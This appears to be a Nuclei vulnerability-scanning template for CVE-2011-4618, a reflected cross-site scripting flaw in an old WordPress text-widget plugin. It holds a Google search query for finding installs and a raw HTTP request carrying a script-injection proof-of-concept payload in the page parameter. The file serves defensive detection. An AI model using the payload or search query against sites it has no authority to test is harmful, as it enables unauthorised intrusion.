id: CVE-2011-4618

info:
  name: Advanced Text Widget < 2.0.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4618
    - http://wordpress.org/support/topic/wordpress-advanced-text-widget-plugin-cross-site-scripting-vulnerabilities
    - http://wordpress.org/extend/plugins/advanced-text-widget/changelog/
    - http://www.openwall.com/lists/oss-security/2011/12/19/6
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71412
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4618
    cwe-id: CWE-79
    epss-score: 0.10083
    epss-percentile: 0.95159
    cpe: cpe:2.3:a:simplerealtytheme:advanced_text_widget_plugin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: simplerealtytheme
    product: advanced_text_widget_plugin
    google-query: inurl:"/wp-content/plugins/advanced-text-widget"
  tags: cve2011,cve,wordpress,xss,wp-plugin,simplerealtytheme,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "</script><script>alert(document.domain)</script>")'
          - 'contains(body_1, "Advanced Text Widget")'
        condition: and
# digest: 490a0046304402207d17a0732043ab1393c5f45942c54cda42a6c88eba164dae4b07ca07c66ee965022056d3154f631057929733d75681e258420d6260136770466fe008759d8c92218e:922c64590222798bb761d5b6d8e72950